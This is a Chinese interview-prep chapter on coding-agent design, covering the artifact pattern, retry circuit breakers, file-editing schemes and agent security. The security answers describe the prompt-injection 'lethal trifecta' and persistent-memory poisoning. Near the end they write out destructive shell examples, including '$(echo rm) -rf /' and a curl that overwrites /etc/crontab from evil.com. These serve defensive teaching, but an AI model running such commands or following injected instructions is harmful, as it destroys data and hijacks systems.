Artifact 模式(本节最值钱的设计)。 数据库查询场景有一个关键设计选择:是让 Agent 执行 SQL 后用自然语言描述结果,还是生成 SQL 代码作为 artifact,交前端直接执行?前者看似"更智能",但效率极低——结果可能几千行,让 LLM 读完再用文字描述不仅耗 token、耗时间,更严重的是 LLM "抄写"数据时非常容易出错。后者让数据从数据库直达用户界面,完全绕开 LLM 这个"中间人"——LLM 只负责写查询语句。更进一步:生成两个 artifact 形成流水线(SQL 查询 + 可视化代码),前端把 SQL 结果直接传给可视化代码,LLM 只生成代码、不参与数据传递。但要记住:Artifact 模式缩短数据路径,不替代权限检查与执行隔离——执行层用只读账号、只允许批准的 SELECT、拒绝 DDL/DML/多语句、服务端参数化绑定、限制查询时间与返回行数。

⑥ Agent 自举。 Agent 用代码生成能力创造另一个 Agent。前提是自我修复:OpenClaw 的 doctor 自动检测配置异常(过期 OAuth token、遗留配置格式、端口冲突)、状态问题(陈旧锁文件、插件依赖缺失)、服务健康问题(网关未运行、沙盒镜像缺失),再分层修复——安全修复自动执行,有风险操作(服务重启、强制覆盖配置)需用户确认。但要避免夸大:过期 token、锁文件、端口冲突这类高频问题本身就有明确检测规则和固定修复动作,doctor 以一组确定性检查为基础覆盖它们,与传统运维脚本无本质不同;真正体现 Agent 能力的是第二层——对确定性规则未覆盖的疑难,交给 LLM 分析日志、理解配置语义、推断因果、生成针对性修复。确定性检查保常见问题稳定修复,LLM 兜底应对长尾。

关键技巧:基于范例的生成优于从零生成。 创造高质量 Agent 需要深入理解架构模式与陷阱,否则即使最强模型也可能造出架构重缺陷的 Agent(上下文管理随意、工具设计不规范、技术选型滞后——倾向使用训练数据里最常见但已过时的模型和 API、外部生态脱节——用废弃 API)。最有效的路径不是在提示词里穷尽所有规则,而是提供高质量的 Agent 实现作为参考范例,让 Agent 基于范例修改:复制自己的代码(或经验证的高质量实现)→ 调整系统提示词匹配新角色 → 替换或增删工具 → 修改业务逻辑但保留架构框架。"自我复制并适应性修改",像生物学里的基因复制加变异。

11. AI coding 的使用方式为什么进了技术面#

先说结论:面试官问"你平时怎么用 AI 写代码",不是在考你会不会用 Cursor / Claude Code(那是工具推荐,谁都能说)。他考的是一个判断题——你的工程判断力:

  1. 你在哪个环节不信任 AI 的输出?
  2. 你怎么验证它?
  3. 你怎么划「AI 写 vs 自己写」的界?

这三点没有标准答案,但答得虚("AI 很强,我基本都用"或"AI 写的我不放心,基本不用")都出局。答得实的分水岭是你能说出自己的判据,并知道判据背后的理由。

一套可讲的判据(按"该不该交出去"排序):

环节 判据 理由
可验证的机械改动 交给 AI——有测试覆盖的重命名、批量替换、样板代码、格式转换 结果可自动验证(落在"目标明确 + 验证自动化"象限),错了测试会红
写测试 / 写文档的初稿 交给 AI,自己审 产出是"待审"而非"待用";成本低、改起来快
不可逆的操作 自己写——数据迁移、删除、权限变更、涉及资金/生产环境的脚本 一旦执行无法撤销;AI 的错误在这里不是"编译不过",是"数据没了"
有权限影响的代码 自己写或逐行审——鉴权、密钥处理、SQL、外部输入的处理 这类 bug 不会让测试变红,却会开一个洞
核心业务逻辑 / 架构决策 自己主导,AI 辅助 这里错的是"设计",测试测不出来;评审时也最难发现

验证的底线(三条):

  • AI 产出的代码,必须自己跑过。 没跑过就说"应该没问题"等于没验证。Coding Agent 最常见(也是最容易漏掉)的偷懒就是"写完不跑测试就报告完成"——人用 AI 写代码时犯的是同一个错。
  • 必须解释得清每一行。 如果一段代码你解释不清它为什么对,那它就不是"你的代码"——出了问题你也不知道从哪查。"AI 写的"不是免责声明。
  • 评审时重点看它"没说的假设"。 AI 补全代码时会默默假设(假设输入非空、假设字段一定存在、假设调用方已经鉴权)。这些假设不会写在代码里,却定义了代码的边界。人工评审的时间要花在这上面,而不是看格式。

一个能把这段讲活的落点:这套判据和本章第 3 节的四象限是同一件事。你该不该把活交给 AI,取决于这个任务在"目标清晰度 × 验证自动化"里落在哪一格——可自动验证的机械改动,AI 是净增益;不可逆、难验证的活,AI 的风险是"错误进入系统后才被发现"。这不是感觉,是可以摆到台面上讲的工程判断。

常见面试问法#

Q:为什么说 Coding Agent 是所有 Agent 类型里成熟度最高的? A:不是因为代码生成模型特别强,而是因为软件工程几十年的基础设施天然构成了一套强大的 Harness。 具体说:测试套件提供明确的验收标准,Linter 和类型检查器提供即时的自动化验证,Git 提供完美的回退能力——验收基线、反馈信号、回退手段三样齐备。用"任务清晰度 × 验证自动化"四象限看,代码编写天然落在"目标明确 + 结果可自动验证"这个最佳区域。这个结论可以推广:任何 Agent 场景,只要能把任务推向这个象限,成熟度就会上去。

Q:一个基础 Coding Agent 需要哪些核心工具?Codex 为什么能更少? A:七个——Code Interpreter(沙盒执行 Python)、Bash Shell、读文件、写文件、编辑文件(局部修改,迭代核心)、Glob(按模式找文件)、Grep(按模式找内容),覆盖了浏览目录、读代码、改文件、跑命令、找模式五类操作。Codex 更极简:以 shell 作为唯一的通用执行入口(目录浏览、查找、读取都用命令完成),文件修改交给语法受约束的 apply_patch——把编辑表达为结构化补丁而非自由文本命令,降低改错文件的概率。这说明七个工具不是硬性清单,而是理解所需能力的参照——能合并进 shell 的操作就可以不设专门工具。

Q:什么是项目指令文件?怎么判断一个代码库"AI-ready"? A:项目指令文件(CLAUDE.md、AGENTS.md、.cursorrules)在每次会话开始时自动注入上下文,是项目级的系统提示词,承载面向 Agent 的行为约定——构建与测试命令("用 pnpm test")、代码风格、明确禁区("不要改 migrations/")。它在上下文工程里是最经济的稳定前缀,对 KV Cache 友好。"AI-ready" 的判据是一句话:一个远程新人只靠代码仓库和文档,能不能独立开展工作。 因为 Agent 和远程新人面临同样的处境——看不到的东西等于不存在:决策记录在文档里、上下文写在 issue/PR 里、经验沉淀在指南里,Agent 才读得到。

Q:生产级 Agent 会遇到哪几类故障?怎么检测? A:按位置分四层——API 层(429、过载、超时、截断,与任务无关的基础设施噪声)、工具层(幻觉调用、参数畸形、执行异常,以及最危险的"反复返回同一错误而模型不加改变地重试")、上下文层(窗口溢出、压缩失败、轨迹结构损坏如工具调用缺配对结果)、控制流层(死循环、死亡螺旋)。检测上,第一步不是"要不要重试"而是"值不值得重试"——生产级 Harness 维护错误到恢复策略的映射表,而不是笼统重试。模式检测靠重复调用指纹(工具名 + 参数)和连续失败计数;还有一类不报错的故障靠活性监控——流式连接最危险的是静默卡死(连上了但数据流停了),而 SDK 超时往往只覆盖初始连接,所以要独立的空闲看门狗。

Q:Agent 连续失败,你重试几次?这个阈值从哪来? A:阈值应该来自生产数据,不是拍脑袋。 以 Claude Code 的压缩熔断「连续 3 次」为例,它来自真实会话统计:曾有一个会话在这条恢复路径上连续失败三千余次,仅这类无效重试每天就浪费约 25 万次 API 调用,逾千个会话出现过 50 次以上连续失败。3 次是"绝大多数故障在此之前已恢复"和"继续重试基本无望"之间的经验拐点。关键不是记住 3 这个数,而是知道它为什么是数据驱动的——每条恢复路径都要有独立的熔断上限,并且要防死亡螺旋:错误处理逻辑自身又调 LLM、再出错、连锁(真实案例:上下文溢出触发停止钩子生成 commit message,又溢出又触发钩子)。防护是错误路径上禁用一切会再调模型的副作用逻辑 + 递归深度计数器。

Q:把跑到一半的 Agent 轨迹换另一家模型接着跑,最大的障碍是什么? A:不是接口格式,是轨迹里有一部分只属于原厂商。 工具调用与结果各家结构不同但语义一致,重新渲染即可;难办的是模型的思考——它由两部分构成:可读的文字和厂商附上的凭证(证明这段思考确实出自它自己)。文字换一家读得懂,凭证换一家就失效——"跨厂商能带走的是文字,带不走的是凭证"。而且各家对凭证要求不一(宽松端不校验,严格端拒绝一切非自己签发的凭证),"把思考删干净"在某些厂商反而通不过。所以设计原则是轨迹保存为中立格式:每段思考拆成可移植文字 + 不可移植凭证,工具调用只记名称与参数,标识符在渲染成具体请求时按目标厂商重新生成,切换时丢弃凭证、文字以普通内容带入。

Q:Coding Agent 怎么在代码库里找东西?为什么可以不建嵌入索引? A:四类互补工具:正则内容匹配(grep/ripgrep,知道具体文本时快而准)、文件名模式匹配(glob,不读文件、探索结构第一步)、语义代码搜索(结构感知分块 + 混合检索 + reranker,适合探索性任务)、符号级定义与引用(区分定义与调用,主流尚未采用)。路线之争:以 Claude Code 为代表的终端型 Agent 刻意不建嵌入索引,纯靠 agentic 的 grep + glob 现场检索——不必维护随代码演化而陈旧的索引,也省掉整套索引基础设施;Cursor 早期走建索引路线,但目前也改用 grep + glob 了。为什么可行:代码是可精确匹配、可现场遍历的结构化文本,grep/glob 往往比语义召回更可靠,且没有索引陈旧问题。这与 RAG 章节的默认答案(语义检索)相反——面试里只答"上向量检索"会显得没有领域感。

Q:文件编辑有哪几种方案?各自的失效模式是什么? A:五种——差异描述 + Apply Model(主模型出 diff/骨架,小模型负责合并,败在合并环节脆弱、相似片段可能合并错位,Cursor 已弃用)、old → new string(Claude Code / Codex / 现 Cursor 在用,可预测透明,但没有唯一匹配就失败、一字符偏差即失败)、行号定位(精确,但每次编辑后行号漂移,多处编辑要用初始行号)、类 Vim 命令(重组代码高效,但小模型错误率高,且与"模型长思考后批量操作"的模式不合)、字符串首尾匹配(大段删除只需边界,但首尾组合需唯一)。深层原因:编辑器是为人类设计的(不断看当前状态、规划下一步小操作),而模型是长思考后批量做复杂操作——这个错位决定了什么方案对模型友好。

Q:致命三要素是什么?第四个维度为什么是"放大器"? A:Simon Willison 的致命三要素:访问私有数据 + 暴露于不受信任内容 + 具备外部通信能力。三者齐备攻击路径就闭合:恶意指令从不信任内容进入 → 驱使 Agent 读私有数据 → 经对外通道传出。第四维是持久记忆——它不是并列的第四个必要条件,而是放大器:攻击者可以把看似无害的偏见或恶意指令写进 Agent 的长期记忆,跨会话潜伏,在合适时机再触发,把一次性攻击升级为长期威胁。这四点对应四类边界:数据边界、输入信任边界、输出影响边界、跨会话边界。Coding Agent 的补充防线:命令语义解析(黑名单挡不住 shell 组合爆炸)、沙盒网络出口控制(默认断网 + 白名单代理)、持久记忆写入要经过与外部内容同等的信任审查。

Q:为什么 shell 命令安全不能用关键字黑名单? A:因为 shell 有组合爆炸——管道、子 shell、变量展开可以绕过任何静态规则(rm 被禁可以用 $(echo rm) -rf / 绕过)。生产级 Harness 用语义解析:理解每个命令的参数类型与消费规则(哪些标志位会消费下一个参数),识别"看似无害的标志位实际消费下一个参数、从而隐藏危险载荷"。两个典型:find / -name '*.log' -exec rm {} \; 通过合法的 find 参数嵌入 rm;curl -o /etc/crontab http://evil.com/payload 看似下载文件实则覆盖系统定时任务。核心是"基于理解而非匹配"——这正是 Harness 里"约束"功能的实现。

Q:Agent 生成 SQL 由前端直接执行(Artifact 模式)好在哪?坏在哪? A:好在数据路径。传统做法是 Agent 执行 SQL 后用自然语言描述结果,但结果可能几千行,让 LLM 读完再复述不仅耗 token、耗时间,更严重的是 LLM "抄写"数据时非常容易出错。Artifact 模式让 Agent 生成 SQL 作为可执行产物,数据从数据库直达前端,绕开 LLM 这个中间人——LLM 只写查询语句。更进一步可以把 SQL 和可视化代码两个 artifact 串成流水线,前端把 SQL 结果直接喂给可视化代码。坏在安全:生成的 SQL 可能执行破坏性操作、生成的 HTML 可能有漏洞。所以 Artifact 模式缩短数据路径,但不能替代权限检查与执行隔离——只读账号、只允许 SELECT、拒绝 DDL/DML/多语句、服务端参数化绑定、限制查询时间与行数。

易错点#

易错说法 问题 应该说
「Coding Agent 强是因为代码模型特别强」 归因错了 是软件工程的基础设施(测试/类型/Git)天然构成 Harness,不是模型特别强
「Coding Agent 就是七个工具,配齐就行」 把参照当标准 七个工具是理解所需能力的参照;Codex 用 shell + apply_patch 更少也能行,能合并的就该合并
「出错就重试」 最常见、最扣分的答案 先分类:可重试才重试,不可重试要改变输入或策略;重试要有上限、退避、抖动,并区分前台/后台防"重试放大"
「函数调用等于工具真的执行了」 机制错误 模型只输出结构化调用请求,执行在外部运行时(另见 tool-use.md)
「重试次数拍个 3 次就行」 记住数没记住来源 阈值来自生产数据——3 次的背后是单会话 3000+ 次连续失败、每天约 25 万次无效 API 调用
「流式连接断了会报错,不用管」 漏掉最危险的失败 最危险的是静默卡死(连上但数据流停止),SDK 超时只覆盖初始连接——需要空闲看门狗
「跨厂商接管卡在接口格式」 归因错 卡在凭证——"文字能带走,凭证带不走",所以轨迹要存中立格式
「Agent 找代码就该上向量检索」 没有领域感 代码领域成熟产品用grep + glob 现场检索(Claude Code 不建索引,Cursor 也已改回)——与 RAG 的默认答案相反
「关键字黑名单能挡危险命令」 挡不住组合爆炸 必须语义解析(参数消费规则 + 嵌套危险操作识别)
「致命三要素管住就安全了」 漏第四维 持久记忆是放大器——跨会话潜伏,把一次性攻击升级为长期威胁
「Agent 生成 SQL 直接执行就行」 漏安全边界 Artifact 模式缩短数据路径,不替代权限检查与执行隔离
「AI 写的代码我基本都用 / 都不用」 判断题答成了站队 给判据:可自动验证的机械改动交给 AI,不可逆或有权限影响的自己写;AI 产出的必须自己跑过并解释得清
把本章内容讲成「我做过」的实战经验 触碰仓库硬规矩 这是书里的知识与面试框架,非一手实测;用"我理解的架构是这样""如果让我设计我会…"

自测#

1. 用「任务清晰度 × 验证自动化」四象限解释:为什么 Coding Agent 成熟度最高,而「让 UI 更好看」这类任务难以启动?

答案

四象限两轴是目标是否明确和结果能否自动验证。Coding Agent 落在"目标明确 + 可自动验证"的最佳区域:测试套件给验收标准、Linter/类型检查给即时反馈、Git 给回退——目标清楚且验证自动,Agent 最能有产出。"让 UI 更好看"落在"目标模糊 + 需人工验证"象限:目标本身说不清(审美、偏好),验收只能靠人盯——Agent 不知道"做完"是什么样,启动都难。另外两格也各有陷阱:目标明确但需人工验证(代码重构)吞吐量被人的审查速度卡住;目标模糊但可自动验证(用 linter 去优化"代码质量")会高效地往错误方向跑——因为自动指标不等于真实目标。Harness 的目标就是把任务往"目标明确 + 自动验证"推。

2. 一个工具调用返回了"工具不存在"的错误。请说明:这属于哪一层故障?该走"静默重试"还是别的路径?为什么?

答案

属于工具层故障(幻觉调用——模型调用了不存在的工具)。绝不能静默重试:这是不可重试错误,原样重试多少次都是同样结果——工具就是不存在。正确路径是把错误变成模型的输入:回灌一个"工具不存在"的结构化错误结果,让它作为普通工具结果进入上下文,模型在下一轮自行改用正确工具。原则是:工具层错误不终止会话,而是喂回模型自纠——喂回的信息越具体,自纠成功率越高。对照:如果是 429 限流(API 层),那才是静默重试,且要指数退避 + 抖动 + 尊重 Retry-After。

3. 熔断阈值「连续 3 次」这个数字为什么值得记住?它背后的生产数据说明了什么?

答案

值得记住的不是 3 这个数,而是它来自生产数据、以及它揭示的问题规模。背后数据:曾有一个会话在同一条恢复路径上连续失败三千余次;仅这类无效重试每天就在全球造成约 25 万次 API 调用的浪费;逾千个会话出现过 50 次以上的连续失败。3 是"绝大多数故障在此之前已恢复"与"继续重试基本无望"之间的经验拐点。真正的考点是方法论:每条恢复路径都要有独立熔断上限,阈值应由失败轨迹统计来定,而不是拍脑袋——这也说明为什么"用 Agent 分析失败轨迹来改进 Harness"是数据驱动的方法论。同时要能说出死亡螺旋这个更难防的形态(错误处理逻辑自身又调 LLM)。

4. 有一批代码要跨模块重命名一个函数(有测试覆盖),另有一批是生产库的数据迁移脚本。按本章的判据,哪些交给 AI、哪些自己写?为什么?

答案

跨模块重命名 + 有测试覆盖 → 交给 AI:这是"目标明确 + 结果可自动验证"的机械改动,错了测试会红,AI 是净增益(这正是 Coding Agent 最擅长的场景)。生产库的数据迁移脚本 → 自己写(或逐行审):它是不可逆的操作——AI 的错误在这里不是"编译不过",而是"数据没了";而且它有权限影响(碰生产数据),这类 bug 测试往往测不出来。判据是两条:可验证的机械改动交给 AI;不可逆或有权限影响的自己写。 补一句底线:AI 产出的代码必须自己跑过并解释得清,评审时重点看它没说的假设(假设输入非空、字段一定存在、调用方已鉴权)。

5. 为什么"Agent 在代码库里找东西"这件事,成熟产品反而选择了不建嵌入索引?这对 RAG 那套结论意味着什么?

答案

因为代码是一种可精确匹配、可现场遍历的结构化文本,和自然语言文档不一样:函数名、变量名、错误消息都可以用 grep 精确命中,目录结构可以用 glob 快速扫——语义召回在这里的边际价值有限,而代价(建索引 + 维护一个随代码演化不断陈旧的索引 + 一整套索引基础设施)是实打实的。所以以 Claude Code 为代表的终端型 Agent 刻意不建嵌入索引,纯靠 agentic 的 grep + glob 现场检索;Cursor 早期走建索引路线,目前也改回 grep + glob 了。对 RAG 结论的意义:03-rag/pipeline.md 那套(结构感知分块 + 混合检索 + reranker)是语义检索路线,是 RAG 的默认答案;但在代码这个特定领域,答案是反过来的——这提醒"AI 应用该怎么检索"没有万能解,要看数据的性质:可精确匹配的结构化文本,现场检索可能比语义索引更好。答这题时先答 RAG 的默认路线,再主动给出这个反向论点,是加分项。